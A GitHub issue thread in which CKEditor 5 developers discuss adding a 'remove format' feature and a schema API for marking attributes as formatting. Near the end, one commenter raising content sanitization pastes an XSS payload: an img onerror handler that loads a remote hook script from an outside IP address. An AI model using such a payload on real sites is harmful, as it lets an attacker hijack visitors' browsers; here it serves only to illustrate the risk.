Ckeditor5: Consider implementing a v4-like remove format feature

[oleq]

Is this a bug report or feature request? (choose one)

🆕 Feature request

📃 Other details that might be useful

This feature, similar to https://ckeditor.com/cke4/addon/removeformat could be useful when working with huge chunks of text containing unwanted formatting (mostly basic styles, links, etc.). A simple use case could be pasting a section of a Wikipedia article.

Some members of the community asked us about this feature a couple of times already.

(somehow) related issues:

• https://github.com/ckeditor/ckeditor5-link/issues/149
• https://github.com/ckeditor/ckeditor5-highlight/issues/16

cc @Reinmar @wwalc

[Reinmar]

unwanted formatting (mostly basic styles, links, etc.)

Just to make it clear – links are not a formatting to be removed by such a feature.

[gauravjain028]

+1 for this feature.
We are developing an app in user user will copy the content from old platform to our platform. So clearing formatting will be a much needed feature for us.

[cedricdelpoux]

In my opinion it's an very important feature.
The highlight plugin let user clear all highlight so maybe clear all styles is not so big to implement ?

[dimaip]

Currently it's the last feature missing to make CKE5 integration into Neos CMS complete. Would try to hack some temporary solution myself, but a proper official solution is really welcome!

Surprisingly editors really depend on this feature, perhaps they are not aware of CTRL+SHIFT+V...

[wwalc]

Surprisingly editors really depend on this feature, perhaps they are not aware of CTRL+SHIFT+V...

CTRL+SHIFT+V removes also elements such as links or lists so it's far from being ideal when pasting large portions of content.

[cedricdelpoux]

Surprisingly editors really depend on this feature, perhaps they are not aware of CTRL+SHIFT+V...

CTRL+SHIFT+V works only in Chrome right ? No even in Firefox

[dimaip]

Hey, no need to side-track this discussion, it's clear that this feature is demanded by editors in any case.

[imkane]

We'd LOVE this feature as well!

[oleq]

A note to future self: implementation PoC on Gitter.

Issues so far:

• how to implement the feature so it learns about other features and their formatting, recognizes it and removes (like instead of a manual configuration of all attribute names)?
• performance problem with the PoC: removing the formatting takes a long time when the selection spans across huge chunks of the content, probably a result of extensive usage of model.schema.getValidRanges and writer.removeAttribute.

[Reinmar]

• how to implement the feature so it learns about other features and their formatting, recognizes it and removes (like instead of a manual configuration of all attribute names)?

I think we'll be using a whitelists (a list of attribute names which will not be removed by it). This way it doesn't have to learn anything – it will remove everything unless you configure not to.

[scofalik]

☝️ Kind of a dangerous approach TBH. Although the list would be probably shorter, the negative impact of a developer not remembering to whitelist their attribute is worse than the other way around.

[Reinmar]

☝️ Kind of a dangerous approach TBH. Although the list would be probably shorter, the negative impact of a developer not remembering to whitelist their attribute is worse than the other way around.

Sorry for not being clear – I meant text attributes could be removed this way. Most of them would be about formatting anyway. The only non-formatting one are links now (and maybe highlight, but I guess it's used for formatting most of the time :trollface:).

This is trickier with block attributes. I haven't thought about this initially.

So, perhaps we need a way to define "semantical" vs "formatting" attributes in the schema?

[scofalik]

Yes, of course, I assumed that you are talking about $text attributes, but still. I'd guess that a majority of our attributes on $text will be about formatting, but IDK how about custom features. BTW. is code formatting? 🤔

I was thinking about some parameter in Schema too but if the attribute clearing is the only purpose then it is the same as providing configuration.

[oleq]

I'd guess that a majority of our attributes on $text will be about formatting, but IDK how about custom features.

I think we're on the same page here. I'm worried users will install 3rd–party addons introducing text attributes for something else and they will report us lots of bugs about "remove format feature destroying my content" if we go with the whitelist approach.

I was thinking about some parameter in Schema too but if the attribute clearing is the only purpose then it is the same as providing configuration.

Yeah, but it's on the plugin authors' side (also: us), not developers who use them and the remove formatting feature. A better DX IMO.

[Reinmar]

I wonder if an option to describe whether an attribute conveys formatting or styling would not also be helpful in cases like https://github.com/ckeditor/ckeditor5-enter/issues/40#issuecomment-313150077:

The linkHref attribute should not be copied with other attributes. Actually, the selection at the end of a link should behave differently, but since in general, I think that you must be able to somehow type inside a link, pressing enter in such a situation should not cause copying that attribute.

And later:

As for how to differentiate between attributes which need to be copied and these which shouldn't, I'd make this controlled by the schema. This will leave it configurable for the end developers (and I think that it was requested in the past that this behaviour is configurable) and will allow implementing the entire behaviour in one place.

So, is it Schema#registerAttribute()? :D

[jodator]

So, is it Schema#registerAttribute()? :D

~Wouldn't be confusing? Schema already "registers"/"defines" allowed attributes of an item.~

Meh - I get it:

schema.registerAttribute( 'foo' , definition );

schema.register( 'baz', { allowAttributes: [ 'foo' ] } );

right? If so: :+1:

[Reinmar]

right?

Yes. I also find it a bit confusing, TBH. Especially that you won't need to register all attributes. You'd use registerAttribute() only if you need to specify more information – like mark this particular attribute as "formatting". Perhaps a different method name would be needed. But I'd be fine to go with registerAttribute() first. Unless you'd prefer defineAttribute().

[oleq]

I'd be more precise in this case and go with registerFormattingAttribute().

[Reinmar]

What if we'll have more types of attributes? Or simply – more properties of an attribute than whether it's styling/formatting. Then we'll have different API for elements and different for attributes but those APIs will be doing a pretty similar thing.

Anyway, that's one thing. The other thing is that it still does not solve the problem that today attributes don't have to be registered. So it's more like ... "set attribute properties".

[jodator]

. "set attribute properties".

:+1: sounds good and look future-proof

[Reinmar]

So

schema.setAttributeProperties( 'linkHref', { 
    isFormatting: true
} )

?

[tomaszmys]

Hey, I'd hate to sidetrack this discussion, but since this thread circles around whitelisting content, would the implementation allow for calling a sanitization of content before loading?
This type of XSS is probably hardest to pull off, but - depending on the exact use case - still very much possible. And rendering content like the one below (if it finds a hole in CSP rules) might be fatal
tryin do to sth <img src='' onerror='alert(\"pow\");' /><img src=\"\" onerror=\"(function(){var s = document.createElement('script');s.setAttribute('src', 'http://11.11.11.11:3000/hook.js');s.setAttribute('async', 'true');document.body.appendChild(s);})();\" />

[Reinmar]

Let's discuss XSS filtering in https://github.com/ckeditor/ckeditor5/issues/1624 :)

[mlewand]

Schema API has been extracted to #1659.